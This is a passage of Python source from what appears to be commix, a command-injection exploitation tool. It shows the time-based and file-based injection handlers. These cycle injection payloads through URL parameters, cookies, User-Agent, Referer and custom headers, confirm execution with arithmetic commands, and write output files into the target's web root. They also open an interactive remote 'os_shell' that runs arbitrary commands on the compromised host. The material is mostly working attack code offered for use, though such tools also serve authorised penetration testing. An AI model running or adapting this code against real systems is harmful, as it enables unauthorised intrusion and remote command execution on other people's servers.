menu.options.cookie)
how_long = tb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
how_long = tb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
how_long = tb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
how_long = tb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(
payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(
((num_of_chars * 100) / (total * 1.0)),
2))
if percent == 100 and no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])
) == 1:
if max(xrange(
len(how_long_statistic)
),
key=lambda x:
how_long_statistic[
x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if timesec <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write(
"\r" +
settings.print_warning_msg(
warn_msg))
while True:
if not menu.options.batch:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
sys.stdout.write(
settings.
print_question_msg(
question_msg))
proceed_option = sys.stdin.readline(
).replace("\n",
"").lower()
else:
proceed_option = ""
if len(proceed_option) == 0:
proceed_option = "c"
if proceed_option.lower(
) in settings.CHOICE_PROCEED:
if proceed_option.lower(
) == "s":
false_positive_fixation = False
raise
elif proceed_option.lower(
) == "c":
timesec = timesec + 1
false_positive_fixation = True
break
elif proceed_option.lower(
) == "q":
raise SystemExit()
else:
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(
err_msg)
pass
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(1, 10)
randv2 = random.randrange(1, 10)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
randv1) + " + " + str(
randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(
randv1) + " + " + str(
randv2) + ")"
else:
cmd = "expr " + str(
randv1) + " + " + str(
randv2) + ""
# Set the original delay time
original_how_long = how_long
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(
separator, TAG, cmd,
whitespace, prefix, suffix,
timesec, http_request_method,
url, vuln_parameter, randvcalc,
alter_shell, how_long,
url_time_response)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if str(output) == str(
randvcalc) and len(
TAG
) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(
float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" + settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
break
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter,
payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL > 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += ('', ' (JSON)')[
settings.IS_JSON] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + payload.replace(
"\n", "\\n") + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell,
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response,
timesec,
original_how_long,
output_length,
is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
tb_enumeration.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, whitespace,
timesec, http_request_method, url,
vuln_parameter, alter_shell,
filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
tb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
tb_file_access.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, whitespace,
timesec, http_request_method, url,
vuln_parameter, alter_shell,
filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tb_file_access.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url, vuln_parameter,
alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url, vuln_parameter,
alter_shell, filename, url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output, check_how_long)
print ""
logs.print_logs_notification(filename, url)
sys.exit(0)
if not new_line:
print ""
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write(
"\r" +
settings.print_warning_msg(
warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__',
''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
technique,
go_back,
no_result,
timesec,
go_back_again,
payload,
OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG,
cmd, prefix, suffix,
whitespace, timesec,
http_request_method,
url, vuln_parameter,
alter_shell, filename,
url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output,
check_how_long)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, output,
vuln_parameter)
else:
output = session_handler.export_stored_cmd(
url, cmd,
vuln_parameter)
print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, output)
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
break
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def fb_injection_handler(url, timesec, filename, http_request_method,
url_time_response):
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based command injection technique"
tmp_path = check_tmp_path(url, timesec, filename, http_request_method,
url_time_response)
if not settings.LOAD_SESSION or settings.RETEST == True:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
info_msg = "Trying to create a file in '" + settings.WEB_ROOT
info_msg += "' for command execution results... "
print settings.print_info_msg(info_msg)
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION:
try:
settings.FILE_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
session_handler.notification(
url, technique, injection_type)
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(
url, timesec, filename, tmp_path,
http_request_method, url_time_response)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
sys.exit(0)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell:
payload = fb_payloads.decision_alter_shell(
separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(
separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = fb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = fb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = fb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(
payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(
url, OUTPUT_TEXTFILE, timesec)
time.sleep(timesec)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell[
0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... [ " + percent + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0:
raise urllib2.HTTPError(
url, 404, 'Error', {}, None)
except urllib2.HTTPError, e:
if str(e.getcode()
) == settings.NOT_FOUND_ERROR:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(
menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, timesec,
filename, tmp_path,
http_request_method,
url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == int(menu.options.failed_tries
) and no_result == True:
tmp_path = check_tmp_path(
url, timesec, filename,
http_request_method,
url_time_response)
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write(
"\r" + settings.print_warning_msg(
warn_msg))
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
sys.stdout.write(
settings.
print_question_msg(
question_msg))
tmp_upload = sys.stdin.readline(
).replace("\n", "").lower()
else:
tmp_upload = ""
if len(tmp_upload) == 0:
tmp_upload = "y"
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(
no_result, url, timesec,
filename, tmp_path,
http_request_method,
url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print ""
raise
else:
err_msg = "'" + tmp_upload + "' is not a valid answer."
print settings.print_error_msg(
err_msg)
pass
continue
else:
if exit_loops == False:
if not settings.VERBOSITY_LEVEL >= 1:
if str(float_percent
) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(
float_percent
) + "%"
else:
percent = str(
float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... [ " + percent + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif str(e.getcode()
) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print settings.print_critical_msg(
err_msg) + "\n"
sys.exit(0)
elif str(e.getcode()
) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print settings.print_critical_msg(
err_msg) + "\n"
sys.exit(0)
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except urllib2.URLError, e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write(
"\r" + settings.print_warning_msg(warn_msg))
err_msg = str(e).replace(": ", " (") + ")."
if menu.options.verbose > 1:
print ""
print settings.print_critical_msg(err_msg)
# Provide custom server's root directory.
custom_web_root(url, timesec, filename,
http_request_method,
url_time_response)
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
settings.FILE_BASED_STATE = True
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if not settings.VERBOSITY_LEVEL >= 1 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
"%20", " ", payload.replace(
"\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
timesec=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(
separator, payload, TAG, timesec,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if not menu.file_access_options(
) and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL >= 1 and new_line:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(
separator, payload, TAG, timesec,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print ""
fb_file_access.do_check(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
fb_enumeration.single_os_cmd_exec(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
delete_previous_shell(
separator, payload, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if settings.VERBOSITY_LEVEL >= 1:
print ""
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename, technique, go_back,
no_result, timesec,
go_back_again, payload,
OUTPUT_TEXTFILE)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
time.sleep(timesec)
response = fb_injector.injection(
separator, payload, TAG, cmd,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(
url, OUTPUT_TEXTFILE,
timesec)
shell = "".join(
str(p) for p in shell)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if shell:
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, shell)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
if not shell or shell == "":
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(
err_msg) + "\n"
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise
def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix,
timesec, http_request_method, url, vuln_parameter,
randvcalc, alter_shell, how_long, url_time_response):
found_chars = False
info_msg = "Testing the reliability of used payload... "
if settings.VERBOSITY_LEVEL == 1:
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
print settings.print_info_msg(info_msg)
for output_length in range(1, 3):
# Execute shell commands on vulnerable host.
if alter_shell:
payload = tb_payloads.cmd_execution_alter_shell(
separator, cmd, output_length, timesec, http_request_method)
else:
